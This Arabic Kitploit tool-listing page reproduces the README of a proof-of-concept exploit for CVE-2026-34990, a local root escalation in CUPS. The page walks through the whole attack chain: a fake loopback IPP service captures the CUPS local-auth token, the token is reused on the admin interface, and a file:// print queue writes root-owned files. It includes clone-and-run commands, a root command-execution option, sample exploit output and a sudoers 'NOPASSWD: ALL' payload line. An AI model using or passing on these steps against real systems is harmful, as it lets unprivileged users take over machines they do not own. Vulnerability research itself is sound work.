Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/bara-almustafa/cve-2026-34990-poc
أدوات دفاعيةتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالمحاكاة الافتراضية للأماناختبار الاختراقالتعلم والتعليم
GitHubbara-almustafa/cve-2026-34990-poc

CVE-2026-34990-poc

CVE-2026-34990 — تصعيد الصلاحيات المحلي في CUPS <= 2.4.16

عرض المستودع
منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34990 — تصعيد الصلاحيات المحلي في CUPS <= 2.4.16

مستخدم محلي غير متميز → root، عبر تسريب رمز تفويض Local الخاص بـ CUPS وطابور طباعة file:/// يتجاوز السياسات.

PoC by 0xcybersoldier

status platform language type CVE


جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • الإصدارات المتأثرة
  • سلسلة الهجوم
  • المتطلبات
  • التثبيت
  • الاستخدام
  • مثال على التشغيل
  • كيف يعمل داخليًا
  • استكشاف الأخطاء وإصلاحها
  • الكشف
  • التخفيف
  • المراجع
  • إخلاء المسؤولية
  • المؤلف

نظرة عامة

CVE-2026-34990 هي ثغرة تصعيد صلاحيات محلية في OpenPrinting CUPS تؤثر على الإصدارات 2.4.16 وما قبلها.

يمكن لمستخدم محلي غير متميز قادر على الوصول إلى خدمة CUPS (cupsd) أن يتسبب في مصادقتها ضد خدمة IPP يتحكم بها المهاجم على واجهة loopback.

يمكن بعد ذلك إعادة استخدام بيانات الاعتماد الناتجة Authorization: Local <token> ضد واجهة إدارة CUPS.

يمكن استخدام سلسلة الهجوم في النهاية لإنشاء طابور طباعة file:/// والتسبب في قيام cupsd بكتابة ملف يتحكم به المهاجم بصلاحيات root.

يستخدم العرض التوضيحي القياسي ملف sudoers إضافيًا للحصول على صدفة root.

يحتوي هذا المستودع على PoC بلغة Python 3 في ملف واحد ينفذ سلسلة الهجوم، بما في ذلك وضع --check الأكثر أمانًا لإظهار سلوك كتابة الملفات الثغري دون إنشاء تكوين تصعيد صلاحيات دائم مباشرة.


تفاصيل الثغرة

الحقلالقيمة
معرّف CVECVE-2026-34990
المكوّنOpenPrinting CUPS (cupsd)
الإصدارات المتأثرة<= 2.4.16
فئة الثغرةCWE-306 / CWE-284
التأثيرتصعيد الصلاحيات المحلي
ناقل الهجوممحلي
الصلاحيات المطلوبةمنخفضة
تفاعل المستخدملا يوجد
مكتشفة بواسطةAsim Viladi Oglu Manizada
الإشعار الأمنيGHSA-c54j-2vqw-wpwp

الإصدارات المتأثرة

يستهدف PoC:

OpenPrinting CUPS <= 2.4.16

تحقق من إصدار CUPS قيد التشغيل محليًا:

curl -sI http://127.0.0.1:631 | grep -i '^Server:'

مثال:

Server: CUPS/2.4.16 IPP/2.1

ملاحظة: تحقق من الإشعار الأمني الحالي للمشروع الأصلي قبل الاعتماد على نطاق الإصدارات المتأثرة في أبحاث الإنتاج، لأن تصحيحات الموردين وحالة الإصدارات قد تتغير.


سلسلة الهجوم

 [1] Local user issues CUPS-Create-Local-Printer
         |
         | device-uri = ipp://127.0.0.1:9189/ipp/print
         v
 [2] cupsd connects to the attacker-controlled
     IPP service on loopback
         |
         v
 [3] Fake IPP service responds with:
     401 Unauthorized
     WWW-Authenticate: Local trc="y"
         |
         v
 [4] CUPS/libcups retries the request with:
     Authorization: Local <token>
         |
         v
 [5] Token captured
         |
         v
 [6] Token reused against the CUPS administrative interface
         |
         v
 [7] Temporary file:// printer is created and
     transitioned through the printer-management workflow
         |
         v
 [8] Print-Job causes cupsd to write the supplied
     document to the file:// target
         |
         v
 [9] Demonstration payload can modify a privileged
     configuration such as sudoers
         |
         v
       ROOT

المتطلبات

  • Python 3.8+
  • مكتبة Python القياسية فقط
  • وصول صدفة محلي كمستخدم غير متميز
  • خدمة CUPS يمكن الوصول إليها على 127.0.0.1:631
  • توفر sudo لعرض تصعيد الصلاحيات
  • نظام Linux يعمل بإصدار CUPS ثغري

لا حاجة لحزم Python خارجية.


التثبيت

استنسخ المستودع:

git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc

اجعل PoC قابلًا للتنفيذ:

chmod +x cve-2026-34990.py

لا حاجة لتبعيات إضافية.


الاستخدام

وضع الفحص الآمن

ابدأ بوضع التحقق غير الدائم:

./cve-2026-34990.py --check

يحاول وضع الفحص إظهار بدائية كتابة الملفات المملوكة لـ root الثغرية باستخدام ملف إثبات مؤقت وينظف بعد الاختبار.


عرض صدفة root

يُظهر الوضع الافتراضي سلسلة تصعيد الصلاحيات الكاملة:

./cve-2026-34990.py

تنفيذ أمر بصلاحيات root

يمكن توفير أمر عبر:

./cve-2026-34990.py -c 'id'

مثال:

./cve-2026-34990.py -c 'id; whoami'

الخيارات

العلمالافتراضيالوصف
--cups-port631منفذ TCP المحلي لـ CUPS
--listen-port9189منفذ loopback المستخدم بواسطة مستمع التقاط الرمز
--checkمعطّلوضع التحقق الآمن
-c, --command—تنفيذ أمر بعد نجاح الاستغلال
--proof-dir/var/tmpالدليل الأب لملفات الإثبات المؤقتة
--attempts8عدد محاولات كتابة الملفات
--iterations80عدد جولات طلبات IPP لكل محاولة

مثال على التشغيل

$ ./cve-2026-34990.py --check

 ██████╗ ██╗  ██╗ ██████╗██╗   ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗     ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║     ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║      ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗  ██║   ██║██║     ██║  ██║██║█████╗  ██████╔╝
████╔╝██║ ██╔██╗ ██║       ╚██╔╝  ██╔══██╗╚════██║██╔══██╗██╔══╝  ██║   ██║██║     ██║  ██║██║██╔══╝  ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗   ██║   ██████╔╝███████║██║  ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║  ██║
 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚═════╝ ╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝

  CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
  PoC by 0xcybersoldier

[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file

كيف يعمل داخليًا

1. التقاط الرمز

ينشئ PoC طابعة CUPS مؤقتة يشير device-uri الخاص بها نحو مستمع IPP يتحكم به المهاجم على واجهة loopback.

مثال:

ipp://127.0.0.1:9189/ipp/print

يستجيب المستمع المحلي بتحدي مصادقة:

401 Unauthorized
WWW-Authenticate: Local trc="y"

يتسبب هذا في إعادة محاولة تفاعل عميل/خادم CUPS باستخدام آلية المصادقة المحلية.

يلتقط PoC بيانات الاعتماد الناتجة:

Authorization: Local <token>

2. الوصول الإداري

يُعاد استخدام الرمز الملتقط في الطلبات إلى واجهة إدارة CUPS.

من الناحية النظرية:

Authorization: Local <TOKEN>

يوفر هذا سياق التفويض المطلوب لعمليات إدارة الطابعات اللاحقة.


3. إنشاء الطابعة

يستغل الهجوم بعد ذلك سير عمل إدارة الطابعات لإنشاء طابور يشير إلى هدف file://.

الهدف ذو الصلة له الشكل:

file:///path/to/target

يستخدم PoC عمليات إدارة الطابعات اللازمة لجعل الطابور متصلًا وإرسال مهمة طباعة.


4. كتابة ملفات بمستوى root

تُرسل مهمة الطباعة كمستند خام.

نظرًا لأن cupsd يعمل بصلاحيات root، يمكن أن تحدث عملية الملفات الناتجة بصلاحيات root.

يستخدم وضع --check هذه البدائية لإنشاء ملف إثبات مؤقت والتحقق من أنه مملوك لـ UID 0.


5. تصعيد الصلاحيات

يمكن للعرض التوضيحي الكامل استخدام ملف تكوين متميز مثل ملف sudoers إضافي.

من الناحية النظرية:

user ALL=(ALL) NOPASSWD: ALL
تنزيل الأداة